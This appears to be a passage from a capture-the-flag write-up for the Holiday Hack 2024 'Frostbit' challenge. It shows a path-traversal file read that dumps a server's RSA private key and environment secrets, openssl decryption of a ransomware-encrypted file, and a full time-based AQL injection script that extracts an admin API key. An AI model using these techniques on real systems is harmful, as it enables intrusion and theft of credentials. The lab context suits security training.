if __name__ == "__main__":
parser = argparse.ArgumentParser(description="File read input.")
parser.add_argument("--file", type=str, default="/etc/nginx/certs/api.frostbit.app.key", help="File to read (Linux)")
args = parser.parse_args()
main(args.file)
python3 exploit_frostbit.py
[*] URL: https://api.frostbit.app/view/%25ce%252c%257d%25f1%258c%25ce%25fb%2533%25ce%252c%257d%25f1%258c%25ce%25fb%2533%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fnginx%252Fcerts%252Fapi.frostbit.app.key/ad8d6114-ee3b-42af-b121-1d255d07a058/status?digest=00000000000000000000000000000000&debug=1
[+] File Contents of '/etc/nginx/certs/api.frostbit.app.key'
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
[+] Saving to api.frostbit.app.key
We can now decrypt the encryptedkey
from before:
cat encryptedkey.json | jq -r .encryptedkey | xxd -r -p | openssl pkeyutl -decrypt -inkey api.frostbit.app.key
6f03401a5d00e66e8c16f0a27073292b,ce2c7df18ccefb33
That looks like AES Key and IV, lets try to decrypt the naughty_nice_list.csv.frostbit
file using openssl
or Cyberchef with CBC mode.
openssl enc -aes-256-cbc -nopad -nosalt -d -in ./frostbitartifacts/naughty_nice_list.csv.frostbit -K $(echo -n '6f03401a5d00e66e8c16f0a27073292b' | xxd -c1000 -p) -iv $(echo -n 'ce2c7df18ccefb33' | xxd -c1000 -p) -out naughty_nice_list.csv
We obtain the first and last name of the child at number 440 in the Naughty-Nice list:
cat naughty_nice_list.csv | grep 440
440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies
Answer: Xena Xtreme
Speaking to Wombley Cube:
Wombley Cube
Blast it all! My plan was so close to succeeding. Our strike against their communications tower was successful, but it seems we were too late. Santa received their distress signal, and now here he is, as wrathful as I've ever seen him. I never intended to stop or ruin the holidays. I perceived Santa as taking them in the wrong direction, and I only wanted to ensure their integrity. Like any self-respecting commander, I accept defeat gracefully and with dignity. I await my punishment, whatever it may be. But for now, I will assist with the recovery efforts. My laptop was the only place I stored the source code and SSH keys to the Frostbit ransomware server, which holds the decryption key for the Naughty-Nice List. But with my laptop destroyed in the snowball fight, our best hope is that the North Pole SOC captured enough forensics on the ransomware for us to reverse-engineer it, recover the Naughty-Nice List, and then find a way to shut down the server before it publishes the list. Please assist the others with this effort. Great work, but successfully investigating our attack chain is only the first step. Oh right, I had forgotten about that broadcast. Thank you for shutting it down. There's no need for it now that the conflict is no more. What was perhaps my greatest technical achievement was also my greatest misstep. FrostBit is no more, and with that, the Naughty-Nice List is restored. Impressive work.
Deactivate Frostbit Naughty-Nice List Publication⚓︎
Deactivate Frostbit Naughty-Nice List Publication
Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
Previously in Act 2, when speaking with Dusty Giftwrap, we obtained the following hints:
Frostbit Publication
There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.
Frostbit Slumber
The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.
From the MQTT hint regarding frostbit
, we recall in the Santa Vision challenge, there was a frostbitfeed
we subscribed to that also had the domain api.frostbit.app
.
topic: frostbitfeed, qos: 0
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
topic: frostbitfeed, qos: 0
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
Using the deactivation, it states Invalid Key
curl -s -k 'https://api.frostbit.app/api/v1/frostbitadmin/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/deactivate?debug=1' -H 'X-Api-Key: 1234' | jq -r .error
Invalid Key
Trying again with a '
to see if its SQL injectable:
curl -s -k 'https://api.frostbit.app/api/v1/frostbitadmin/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/deactivate?debug=1' -H "X-Api-Key: '" | jq -r .error
Timeout or error in query:
FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
<other_query_lines_omitted>
RETURN doc
Leveraging the previous challenge answer's script, we can see if there is more information we can learn from our file read vulnerability. By traying on the /proc
directory we can read environmental variables.
[*] File: /proc/self/environ URL: https://api.frostbit.app/view/%25ce%252c%257d%25f1%258c%25ce%25fb%2533%25ce%252c%257d%25f1%258c%25ce%25fb%2533%252F..%252F..%252F..%252F..%252F..%252Fproc%252Fself%252Fenviron/ad8d6114-ee3b-42af-b121-1d255d07a058/status?digest=00000000000000000000000000000000&debug=1
[+] File Contents of '/proc/self/environ'
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=6059e5d8ecc8
FROSTBIT_CHALLENGE_HASH=6487b8b081bc4317cc8017a898c7dfc8
LETSENCRYPT_EMAIL=ops@counterhack.com
PYTHONUNBUFFERED=1
VIRTUAL_PORT=8080
ARANGO_ROOT_PASSWORD=password
ARANGO_HOST=arangodb
APP_DEBUG=true
API_ENDPOINT=https://2024.holidayhackchallenge.com
VIRTUAL_HOST=api.frostbit.app
LETSENCRYPT_HOST=api.frostbit.app
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.19
PYTHON_PIP_VERSION=23.0.1
PYTHON_SETUPTOOLS_VERSION=58.1.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py
PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a
HOME=/root
We can identify that ArangoDB is in use via ARANGO_ROOT_PASSWORD
and ARANGO_HOST
environment variables. ArangoDB is a multi-model NoSQL database that supports three key data models: document, graph, and key/value. This flexibility allows developers to work with various data structures without switching between multiple databases. ArrangoDB uses ArangoDB Query Language (AQL). We can create a custom ArrangoDB AQL injection python scripting to dump the document keys and values via sleep-based query on True queries.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script exploits a AQL injection vulnerability in order to dump all keys and values from the ArrangoDB.
Holiday Hack 2024 - Deactivate Frostbit Naughty-Nice List Publication
"""
# Imports
import requests
import sys
# Constants
url = "https://api.frostbit.app/api/v1/frostbitadmin/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/deactivate?debug=1"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
charset = "etaoinshrdlcumwfgypbvkjxqz0123456789-_!@#$%^&*()=+"
def check_response(payload):
headers = {
"X-Api-Key": payload,
}
r = requests.get(
url,
headers=headers,
proxies=proxies,
allow_redirects=False,
)
return r.status_code == 403 and ("Timeout" in r.text or r.elapsed.total_seconds() > 1)
def get_aql_key(document, key_idx, guess, pos_idx=None):
if pos_idx != None:
return f"' OR SUBSTRING(ATTRIBUTES({document})[{key_idx}], {pos_idx}, 1) == '{guess}' AND sleep(2) AND '1'=='0"
else:
return f"' OR ATTRIBUTES({document})[{key_idx}] == '{guess}' AND sleep(2) AND '1'=='0"
def get_aql_value(document, key, guess, pos_idx=None):
if pos_idx != None:
return f"' OR SUBSTRING({document}.{key}, {pos_idx}, 1) == '{guess}' AND sleep(2) AND '1'=='0"
else:
return f"' OR {document}.{key} == '{guess}' AND sleep(2) AND '1'=='0"
def get_doc_keys(document):
sys.stdout.flush()
sys.stdout.write("\r")
print(f"Extracting {document} keys ...")
doc_keys = []
for c in charset:
key = c
sys.stdout.write("\r" + key)
if check_response(get_aql_key(document, len(doc_keys), c, pos_idx=0)):
sys.stdout.flush()
sys.stdout.write("\r")
print(f"=> Found key in {document} starting with " + c)
while True:
for c2 in charset:
sys.stdout.write("\r" + key + c2)
if check_response(get_aql_key(document, len(doc_keys), c2, pos_idx=len(key))):
key += c2
sys.stdout.write("\r" + key)
break
if check_response(get_aql_key(document, len(doc_keys), key)):
sys.stdout.flush()
sys.stdout.write("\r")
print(f"\rFound key:{key} in {document}")
doc_keys.append(key)
break
return doc_keys
def get_key_value(document, key):
sys.stdout.flush()
sys.stdout.write("\r")
print(f"Extracting {document}:{key} value ...")
key_value = ""
while True:
for c in charset:
sys.stdout.write("\r" + key_value + c)
if check_response(get_aql_value(document, key, c, pos_idx=len(key_value))):
key_value += c
sys.stdout.write("\r" + key_value)
break
if check_response(get_aql_value(document, key, key_value)):
sys.stdout.flush()
print(f"\rFound {document}:{key} value:{key_value}")
return key_value
document = "doc" # Per traceroute, document exists
doc_keys = get_doc_keys(document)
for key in doc_keys:
get_key_value(document, key)
python3 arango_frostbit.py
Extracting doc keys ...
=> Found key in doc starting with d
Found key:deactivate_api_key in doc
Extracting doc:deactivate_api_key value ...
Found doc:deactivate_api_key value:abe7a6ad-715e-4e6a-901b-c9279a964f91
Sending the deactivation key will disable the frostbit naughty-nice list publication and we are awarded with our achievement!
curl -s -k 'https://api.frostbit.app/api/v1/frostbitadmin/bot/ad8d6114-ee3b-42af-b121-1d255d07a058/deactivate?debug=1' -H 'X-Api-Key: abe7a6ad-715e-4e6a-901b-c9279a964f91' | jq -r .message
Response status code: 200, Response body: {"result":"success","rid":"ad8d6114-ee3b-42af-b121-1d255d07a058","hash":"b2476c4386917e52ddf496f37c16cbc903fd0541de1299ecd423ef9d960e1c47","uid":"46046"}
POSTED WIN RESULTS FOR RID ad8d6114-ee3b-42af-b121-1d255d07a058
Achievement
Congratulations! You have completed the [Gold] Frostbit challenge!